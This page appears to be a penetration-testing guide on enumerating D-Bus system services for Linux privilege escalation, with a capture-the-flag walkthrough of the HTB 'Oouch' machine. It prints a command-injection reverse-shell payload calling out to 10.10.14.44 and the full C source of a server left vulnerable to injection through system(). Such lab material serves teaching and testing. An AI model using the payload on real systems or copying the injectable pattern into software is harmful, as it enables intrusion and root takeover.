D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by privileged services to expose services relevant across the system, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with.
Services on D-Bus are defined by the objects and interfaces they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an object path. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the org.freedesktop.DBus.Introspectable interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals.
For communication with the D-Bus interface, two tools were employed: a CLI tool named gdbus for easy invocation of methods exposed by D-Bus in scripts, and D-Feet, a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service.
In the first image services registered with the D-Bus system bus are shown, with org.debin.apt specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed.
A notable feature is the display of the service's process ID (pid) and command line, useful for confirming if the service runs with elevated privileges, important for research relevance.
D-Feet also allows method invocation: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service.
However, note that some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not.
Cmd line Enumeration
List Service Objects
It's possible to list opened D-Bus interfaces with:
From wikipedia: When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called unique connection name. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.
Service Object Info
Then, you can obtain some information about the interface with:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
List Interfaces of a Service Object
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busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Note how in this example it was selected the latest interface discovered using the tree parameter (see previous section):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Note the method .Block of the interface htb.oouch.Block (the one we are interested in). The "s" of the other columns may mean that it's expecting a string.
Monitor/Capture Interface
With enough privileges (just send_destination and receive_sender privileges aren't enough) you can monitor a D-Bus communication.
If you know how to configure a D-Bus config file to allow non root users to sniff the communication please contact me!
Different ways to monitor:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
In the following example the interface htb.oouch.Block is monitored and the message "lalalalal" is sent through miscommunication:
As user qtc inside the host "oouch" from HTB you can find an unexpected D-Bus config file located in /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig> <policyuser="root"> <allowown="htb.oouch.Block"/> </policy> <policyuser="www-data"> <allowsend_destination="htb.oouch.Block"/> <allowreceive_sender="htb.oouch.Block"/> </policy></busconfig>
Note from the previous configuration that you will need to be the user root or www-data to send and receive information via this D-BUS communication.
As user qtc inside the docker container aeb4525789d8 you can find some dbus related code in the file /code/oouch/routes.py. This is the interesting code:
As you can see, it is connecting to a D-Bus interface and sending to the "Block" function the "client_ip".
In the other side of the D-Bus connection there is some C compiled binary running. This code is listening in the D-Bus connection for IP address and is calling iptables via system function to block the given IP address.
The call to system is vulnerable on purpose to command injection, so a payload like the following one will create a reverse shell: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploit it
At the end of this page you can find the complete C code of the D-Bus application. Inside of it you can find between the lines 91-97 how the D-Bus object pathand interface name are registered. This information will be necessary to send information to the D-Bus connection:
/* Install the object */ r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */ block_vtable,NULL);
Also, in line 57 you can find that the only method registered for this D-Bus communication is called Block(Thats why in the following section the payloads are going to be sent to the service object htb.oouch.Block, the interface /htb/oouch/Block and the method name Block):
The following python code will send the payload to the D-Bus connection to the Block method via block_iface.Block(runme) (note that it was extracted from the previous chunk of code):
dbus-send is a tool used to send message to “Message Bus”
Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick.
“-system” tag is used to mention that it is a system message, not a session message (by default).
“–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format.
“–dest=Dbus-Interface-Block” The address of the Dbus interface.
“–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command.
Note that in htb.oouch.Block.Block, the first part (htb.oouch.Block) references the service object and the last part (.Block) references the method name.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r; /* Read the parameters */ r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r; }char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1; }sprintf(command_buffer, command, host); /* In the first implementation, we simply ran command using system(), since the expected DBus * to be threading automatically. However, DBus does not thread and the application will hang * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real * multithreading) */int pid =fork();if ( pid ==0 ) { /* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0); } else { /* Here we are in the parent process or an error occured. We simply send a genric message. * In the first implementation we returned separate error messages for success or failure. * However, now we cannot wait for results of the system call. Therefore we simply return * a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D"); } r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) { /* * Main method, registeres the htb.oouch.Block service on the system dbus. * * Paramaters: * argc (int) Number of arguments, not required * argv[] (char**) Argument array, not required * * Returns: * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive * as long as the user keeps it alive. */ /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN); sd_bus_slot *slot =NULL; sd_bus *bus =NULL;int r; /* First we need to connect to the system bus. */ r =sd_bus_open_system(&bus);if (r <0) {fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish; } /* Install the object */ r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */ block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish; } /* Register the service name to find out object */ r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish; } /* Infinite loop to process the client requests */for (;;) { /* Process requests */ r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish; }if (r >0) /* we processed a request, try to process another one, right-away */continue; /* Wait for the next request to process */ r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish; } }finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
